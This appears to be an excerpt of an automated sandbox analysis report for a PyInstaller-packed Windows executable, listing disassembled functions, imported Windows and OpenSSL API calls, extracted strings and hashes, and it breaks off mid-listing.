Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 6a77eab9c944f09ff17ebe5f8817843cd85c1201ef8ecf63661642ccd5eadd17
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: 2421A172B08B8182E7219F18F4447EA63A8EB88785F400136EF8D97655DF3CE245C740

Function 00007FF6BAF1C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6BAF1C61F
WriteFile.KERNEL32 ref: 00007FF6BAF1C8E7
WriteFile.KERNEL32 ref: 00007FF6BAF1C92D
GetLastError.KERNEL32 ref: 00007FF6BAF1C9E3

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: c0e064c04c217551b6b0d7ecfeb08c5d17b625b138f09878e9c57c71c97a0532
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: F7D1E1B2B18A918AE710CF6AD4402FC3BB9FB54799B444276DF5E97B89DE38D406C700

Function 00007FF6BAF020C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6BAF020F4
SetWindowLongPtrW.USER32 ref: 00007FF6BAF02116
GetWindowLongPtrW.USER32 ref: 00007FF6BAF02140
InvalidateRect.USER32 ref: 00007FF6BAF02160

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: dcd3e251325690c1c0407a3463348c14d793308ec3d303208cd2e2d4cede8823
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 28110C21F0C28282F6658F6DE5842FA539AEF987C1F448070EF4947B89CD3DE9C58210

Function 00007FF6BAF25B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BAF21760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF21793

_get_daylight.LIBCMT ref: 00007FF6BAF25C34
_get_daylight.LIBCMT ref: 00007FF6BAF25C45

Strings

?, xrefs: 00007FF6BAF25BC5

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 6d8902e8a9e4b73be7573ad7c091c71304382820dbbe000a79cb718a551a5b05
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 25410722A183C246FB649F2995013FA6658EB80BA5F144275FF9C87AD5EF3CD4418700

Function 00007FF6BAF19014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF19046

Part of subcall function 00007FF6BAF1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A95E
Part of subcall function 00007FF6BAF1A948: GetLastError.KERNEL32(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6BAF0CBA5), ref: 00007FF6BAF19064

Strings

C:\Users\user\Desktop\file.exe, xrefs: 00007FF6BAF19052

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\file.exe
API String ID: 3580290477-1957095476
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 473fb6f9537ea522f82097d8665a96437db0ed723afea2842a2d96b9072fc584
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 0741AEB2A08B2286EB15EF29D9801FD67A8EF447D1B554075EF4E87B95DE3CE481C380

Function 00007FF6BAF1CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6BAF1CD4F
GetLastError.KERNEL32 ref: 00007FF6BAF1CD71

Strings

U, xrefs: 00007FF6BAF1CCFB

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: b45399dd62d4b38c342bf74f04f71f54520563a12768873700e89aed24684830
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: BE418062A18A9185DB608F6AE4443FA77A9FB98785F444135EF8DC7798EF3CD402CB40

Function 00007FF6BAF1F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6BAF1F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6BAF1F64A

Strings

:, xrefs: 00007FF6BAF1F60E

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 98b0813fe9053e5504edbfd5feab2960bf7e8b1ae63c2e884add10d1e2ae8699
Instruction ID: 41af24344dadcefd3053d4b1e6e8a425d13264c953c33d2d5c6eca33c89391ba
Opcode Fuzzy Hash: 98b0813fe9053e5504edbfd5feab2960bf7e8b1ae63c2e884add10d1e2ae8699
Instruction Fuzzy Hash: 7D2136B2A0829181EB20DB19D0542BD73A9FB84B85F85407ADF8C83294CF7CE949CB40

Function 00007FF6BAF0FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6BAF0FD98
RaiseException.KERNEL32 ref: 00007FF6BAF0FDD9

Strings

csm, xrefs: 00007FF6BAF0FDC6

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 2cb39d239a7fd895be4d5a58326e32613e56f7d2bf73787dffe6e768a820e6ff
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 45113032619B8182EB618F19F440299B7E9FB88B85F584274EF8D47754DF3CD555C700

Function 00007FF6BAF2073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF2076C
GetDriveTypeW.KERNEL32 ref: 00007FF6BAF207AC

Strings

:, xrefs: 00007FF6BAF20795

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 718712fd94cc2b106cf9c44f412a1e4c75f6dd069b7c7be78a374c8de330f93c
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 6801846291834386F730AF6894612FE63A4EF84787F800075EF4DC3695DE3CD9058B15

Analysis Process: file.exePID: 2108, Parent PID: 2992COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.2%
Total number of Nodes:	1313
Total number of Limit Nodes:	79

Executed Functions

Function 00007FFE013B1A0F Relevance: 144.4, APIs: 74, Strings: 8, Instructions: 858COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013FACE7
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FACFF
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FAE96
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FAEAE
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3 ref: 00007FFE013FAF96
EVP_CIPHER_get_flags.LIBCRYPTO-3 ref: 00007FFE013FAF9E
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FB00C
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FB024
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FB191
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FB1A9
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FB1DA
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FB1F2
EVP_MD_CTX_get0_md.LIBCRYPTO-3 ref: 00007FFE013FB213
EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FFE013FB220
CRYPTO_memcmp.LIBCRYPTO-3 ref: 00007FFE013FB2AA
ERR_set_mark.LIBCRYPTO-3 ref: 00007FFE013FB2C6
ERR_clear_last_mark.LIBCRYPTO-3 ref: 00007FFE013FB315
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FB31F
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FB337
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013FB496
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013FB4B5
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FBA16
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FBA2E
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FBA40
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FBA4C
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FBA64

Strings

POST , xrefs: 00007FFE013FB90B
..\s\ssl\record\ssl3_record.c, xrefs: 00007FFE013FACF8, 00007FFE013FAEA7, 00007FFE013FB01D, 00007FFE013FB06B, 00007FFE013FB09B, 00007FFE013FB0C8, 00007FFE013FB0F5, 00007FFE013FB1A2, 00007FFE013FB1EB, 00007FFE013FB330, 00007FFE013FB358, 00007FFE013FB38F, 00007FFE013FB3C4, 00007FFE013FB445, 00007FFE013FB489, 00007FFE013FB4AB, 00007FFE013FB74F, 00007FFE013FB7CE, 00007FFE013FB7FB, 00007FFE013FB828, 00007FFE013FB861, 00007FFE013FB88E, 00007FFE013FB97F, 00007FFE013FB9B9, 00007FFE013FBA27, 00007FFE013FBA5D
CONNE, xrefs: 00007FFE013FB95A
PUT , xrefs: 00007FFE013FB943
GET , xrefs: 00007FFE013FB8E8
HEAD , xrefs: 00007FFE013FB929
ssl3_get_record, xrefs: 00007FFE013FACF1, 00007FFE013FAEA0, 00007FFE013FB016, 00007FFE013FB064, 00007FFE013FB094, 00007FFE013FB0BC, 00007FFE013FB0E9, 00007FFE013FB196, 00007FFE013FB1DF, 00007FFE013FB324, 00007FFE013FB34C, 00007FFE013FB3B8, 00007FFE013FB439, 00007FFE013FB593, 00007FFE013FB743, 00007FFE013FB7C2, 00007FFE013FB7EF, 00007FFE013FB821, 00007FFE013FB855, 00007FFE013FB887, 00007FFE013FB973, 00007FFE013FB9AD, 00007FFE013FBA20, 00007FFE013FBA51
, xrefs: 00007FFE013FB187

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_new$R_set_debug$O_free$D_get_sizeO_memcmpR_clear_last_markR_get_flagsR_set_markX_get0_cipherX_get0_md
String ID: $..\s\ssl\record\ssl3_record.c$CONNE$GET $HEAD $POST $PUT $ssl3_get_record
API String ID: 2283737721-2781224710
Opcode ID: 40243567b0c9e5d0b1d25a9c0806e483eb2da45cb6c3cb4bcf6ca79101e842da
Instruction ID: b22d0e81e5f79d2e73326b25bb3adcfcacf2c042e18e9224f1cd875664294ac3
Opcode Fuzzy Hash: 40243567b0c9e5d0b1d25a9c0806e483eb2da45cb6c3cb4bcf6ca79101e842da
Instruction Fuzzy Hash: 7E829DA1F08AC282FB60AB61D5407BDA2A1EF41784F95403ADA4D6F6F9DF3CE585C311

Function 00007FF6BAF01000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to load splash screen resources!, xrefs: 00007FF6BAF03E85
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6BAF03BE8
Failed to remove temporary directory: %s, xrefs: 00007FF6BAF03FCF
Py_GIL_DISABLED, xrefs: 00007FF6BAF03AF4
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6BAF03C61
Failed to convert DLL search path!, xrefs: 00007FF6BAF03DDC
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6BAF03E0A
VCRUNTIME140.dll, xrefs: 00007FF6BAF03DB1
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6BAF03D35
pyi-disable-windowed-traceback, xrefs: 00007FF6BAF03BB2
_PYI_SPLASH_IPC, xrefs: 00007FF6BAF03A23, 00007FF6BAF03EF5
_PYI_ARCHIVE_FILE, xrefs: 00007FF6BAF038D2, 00007FF6BAF039FF
pyi-runtime-tmpdir, xrefs: 00007FF6BAF03B68
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6BAF039DE
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6BAF03A0B, 00007FF6BAF03CD4, 00007FF6BAF03F6B
pkg, xrefs: 00007FF6BAF039BE
pyi-python-flag, xrefs: 00007FF6BAF03AD6
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6BAF03971
MEI, xrefs: 00007FF6BAF03933
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6BAF03A17, 00007FF6BAF03A2F, 00007FF6BAF03A9B
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6BAF03882, 00007FF6BAF038AF
Failed to start splash screen!, xrefs: 00007FF6BAF03ED4
pyi-contents-directory, xrefs: 00007FF6BAF03B8D
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6BAF03EA6
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6BAF03D12
Could not create temporary directory!, xrefs: 00007FF6BAF03CBF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6BAF03B32
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6BAF03EBB

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction ID: 3882bb03d4d178b83cc417754d1715adaaae906208cf6aab2c4955b566cc0443
Opcode Fuzzy Hash: 9de477ae995940a39e23314e20718922418974b9c8241bfba060ee61ec72f349
Instruction Fuzzy Hash: AD32AB21A08A8291FA39DF2D94543F967A9AF44782F8441B6EF4DC32C6EF2CE559C344

Function 00007FFE013CCD30 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCD94
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCDB6
CRYPTO_free_ex_data.LIBCRYPTO-3 ref: 00007FFE013CCDE8
OPENSSL_LH_free.LIBCRYPTO-3 ref: 00007FFE013CCDF1
X509_STORE_free.LIBCRYPTO-3 ref: 00007FFE013CCDFA
CTLOG_STORE_free.LIBCRYPTO-3 ref: 00007FFE013CCE06
OPENSSL_sk_free.LIBCRYPTO-3 ref: 00007FFE013CCE0F
OPENSSL_sk_free.LIBCRYPTO-3 ref: 00007FFE013CCE18
OPENSSL_sk_free.LIBCRYPTO-3 ref: 00007FFE013CCE21
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE013CCE40
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE013CCE53
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE013CCE66
OPENSSL_sk_free.LIBCRYPTO-3 ref: 00007FFE013CCE79
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCEA6
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCEBF
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCED8
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCEF1
CRYPTO_secure_free.LIBCRYPTO-3 ref: 00007FFE013CCF0A
EVP_MD_get0_provider.LIBCRYPTO-3 ref: 00007FFE013CCF1E
EVP_MD_free.LIBCRYPTO-3 ref: 00007FFE013CCF2B
EVP_MD_get0_provider.LIBCRYPTO-3 ref: 00007FFE013CCF3F
EVP_MD_free.LIBCRYPTO-3 ref: 00007FFE013CCF4C
EVP_CIPHER_get0_provider.LIBCRYPTO-3 ref: 00007FFE013CCF6B
EVP_CIPHER_free.LIBCRYPTO-3 ref: 00007FFE013CCF78
EVP_MD_get0_provider.LIBCRYPTO-3 ref: 00007FFE013CCF9F
EVP_MD_free.LIBCRYPTO-3 ref: 00007FFE013CCFAC
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CCFE9
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD007
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD025
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD04E
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD067
CRYPTO_THREAD_lock_free.LIBCRYPTO-3 ref: 00007FFE013CD073
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD08C
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CD0A1

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013CCD87, 00007FFE013CCDA0, 00007FFE013CCE99, 00007FFE013CCEB2, 00007FFE013CCECB, 00007FFE013CCEE4, 00007FFE013CCEFD, 00007FFE013CCFD8, 00007FFE013CCFF5, 00007FFE013CD013, 00007FFE013CD041, 00007FFE013CD05A, 00007FFE013CD07F, 00007FFE013CD097

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_free$L_sk_free$D_freeD_get0_providerL_sk_pop_free$E_free$D_lock_freeH_freeO_free_ex_dataO_secure_freeR_freeR_get0_providerX509_
String ID: ..\s\ssl\ssl_lib.c
API String ID: 234229340-1080266419
Opcode ID: f7e90b002c0f20001dbf9e5a2de404a379799662cee41334dc9c8a45caab9bf3
Instruction ID: 150972e03ad1f764db208b0ef74ea569091d887d518f3f67dd13a9ea1a4bb97f
Opcode Fuzzy Hash: f7e90b002c0f20001dbf9e5a2de404a379799662cee41334dc9c8a45caab9bf3
Instruction Fuzzy Hash: 6E914D21F08A5281EB50AF62D4512BC2722FF95F88F881032EE5D4F6BADF6DE5858311

Function 00007FFE013B13D9 Relevance: 47.5, APIs: 25, Strings: 2, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FFE0141867A
ERR_new.LIBCRYPTO-3 ref: 00007FFE01418692
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014186AA
